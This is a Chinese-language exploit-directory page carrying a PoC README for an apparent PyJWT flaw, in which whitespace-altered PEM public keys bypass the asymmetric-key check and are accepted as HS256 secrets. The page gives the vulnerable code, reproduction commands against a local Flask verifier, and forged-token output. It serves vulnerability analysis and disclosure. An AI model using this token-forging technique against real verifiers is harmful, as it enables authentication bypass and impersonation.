Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-102268-poc — CVE-2026-102-268(PyJWT 非对称 PEM 检测绕过)的可利用性 PoC。 | Kitploit
工具/GitHubGitHub/covepseng/cve-2026-102268-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全密码学身份验证学习与教育
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

CVE-2026-102-268(PyJWT 非对称 PEM 检测绕过)的可利用性 PoC。

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-102268 — PyJWT 非对称 PEM 检测绕过

可利用性分析结果: 根本原因已确认,且端到端利用可复现。一个经过空白字符变异的 PEM 公钥绕过了 PyJWT 的 is_pem_format() 防护,并被接受为有效的 HMAC 密钥,从而能够对任何同时允许 RS256 和 HS256 的验证器进行完整的 HS256 令牌伪造。详情见分析。


目录

  • 概述
  • 受影响版本
  • 根本原因
  • 分析
  • 仓库结构
  • 环境要求
  • 使用方法
  • 预期输出
  • 参考资料
  • 免责声明

概述

CVE-2026-102268 是 PyJWT 中的一个算法混淆漏洞。在将任何密钥用作 HMAC 密钥之前,HMACAlgorithm.prepare_key() 会调用 is_pem_format() 来拒绝那些看起来像 PEM 编码的非对称密钥或证书的密钥——这是针对 RS256/HS256 混淆攻击的标准防御措施。

is_pem_format() 是一个单一的正则表达式,它要求密钥主体与 BEGIN/END 标记之间具有精确的 \r?\n 相邻关系。而 cryptography 自身的 PEM 加载器没有这样的要求。一个标记相邻处带有空白字符、仅含 CR 行终止符、或折叠成单行的 PEM 文件,会被 cryptography.load_pem_public_key() 解析为完全有效的密钥,而 is_pem_format() 在完全相同的字节上却返回 False。

其后果是:非对称密钥防护永远不会触发,公钥被接受为 HMAC 密钥,而任何持有该公钥的人——公钥按定义就是公开的——都可以为任何同时允许 RS256 和 HS256 的验证器铸造有效的 HS256 令牌。

本仓库包含一个最小的 Flask 验证器和一个复现密钥,用于端到端确认这一说法。


受影响版本

受影响范围修复版本
< 2.14.02.14.0

根本原因

jwt/utils.py 中存在漏洞的检查(2.14.0 之前的所有版本):

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

在 jwt/algorithms.py 中以此作为门控:

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

正则表达式中的 [- ] 分隔符只容忍紧邻标记短横线的单个短横线或空格。任何其他位于密钥主体末尾换行符与 END 标记之间的空白字符——一个缩进、一个多余的 \r、一个重新折行的单行——都会导致匹配失败,因此 is_pem_format() 在一个 cryptography 毫无怨言地解析的文件上报告 False。

修复方案(提交 8b4e233,发布于 2.14.0)将正则表达式替换为对受支持的 BEGIN/END 标记集进行单遍扫描的扫描器,该扫描器不依赖于精确的换行相邻关系——从而关闭了这一绕过,并在同一变更中修复了同一函数中相关的 ReDoS(CVE-2026-102270)。


分析

本仓库中的 public_key.pem 是一个普通的 2048 位 RSA 公钥,只有一处改动:-----END PUBLIC KEY----- 行缩进了四个空格。

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

运行 utils.py 可直接针对该库确认绕过,独立于 Flask 应用:

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256") 成功执行。在已修补的 PyJWT(≥ 2.14.0)上,同样的调用会抛出 InvalidKeyError——is_pem_format() 无论缩进如何都能正确地将该文件标记为 PEM 密钥,HMAC 路径会拒绝它。而在这里,它不会:四个空格的缩进足以让正则表达式漏掉,公钥字节被接受为普通的 HMAC 密钥。

app.py 复现了真实世界的前提条件——一个验证器的 algorithms 允许列表混合了非对称和对称算法:

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

使用 utils.py 的方法伪造的令牌提交到 /verify 会被接受:/verify 返回 200 以及伪造的声明,而该令牌从未被任何持有私钥的人签名过。


仓库结构

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

环境要求

工具版本备注
Podman≥ 4.0Docker 也可以
Python≥ 3.9仅用于在本地运行 utils.py
curl任意用于直接测试 /verify

使用方法

1. 构建并启动容器

podman-compose up -d

等待几秒钟,然后确认服务已启动:

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. 使用公钥伪造令牌

python utils.py

这会使用 public_key.pem 以 HS256 签名 {"some": "payload"} 并打印生成的 JWT——即伪造原语。复制编码后的令牌。

3. 将伪造的令牌提交给验证器

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. 清理

podman-compose down

确认修复

将步骤 2 中的 requirements.txt 里固定的 2.4.0 替换为已安装的 PyJWT>=2.14.0 后重复步骤 2。jwt.encode() 会在生成令牌之前抛出 InvalidKeyError。


预期输出

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...

[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
    {"message": "Access granted", "payload": {"some": "payload"}}

    is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
    guard in HMACAlgorithm.prepare_key() never fired.
============================================================

参考资料

资源链接
GitHub Advisoryhttps://github.com/advisories/GHSA-ffc3-869f-jxw9
修复提交https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07
相关 ReDoS 公告(同一修复)https://github.com/advisories/GHSA-jwrc-g2q2-pq5p
PyJWT 2.14.0 发布https://github.com/jpadilla/pyjwt/releases/tag/2.14.0
jwt/algorithms.py(main)https://github.com/jpadilla/pyjwt/blob/master/jwt/algorithms.py
完整分析 — 博客文章https://return-zero.dev/posts/cve-2026-102268

免责声明

本仓库仅供教育目的和本地可利用性分析使用。所有测试均针对自托管容器环境进行。请勿对您不拥有或未获得明确书面授权测试的系统运行此 PoC。

下载工具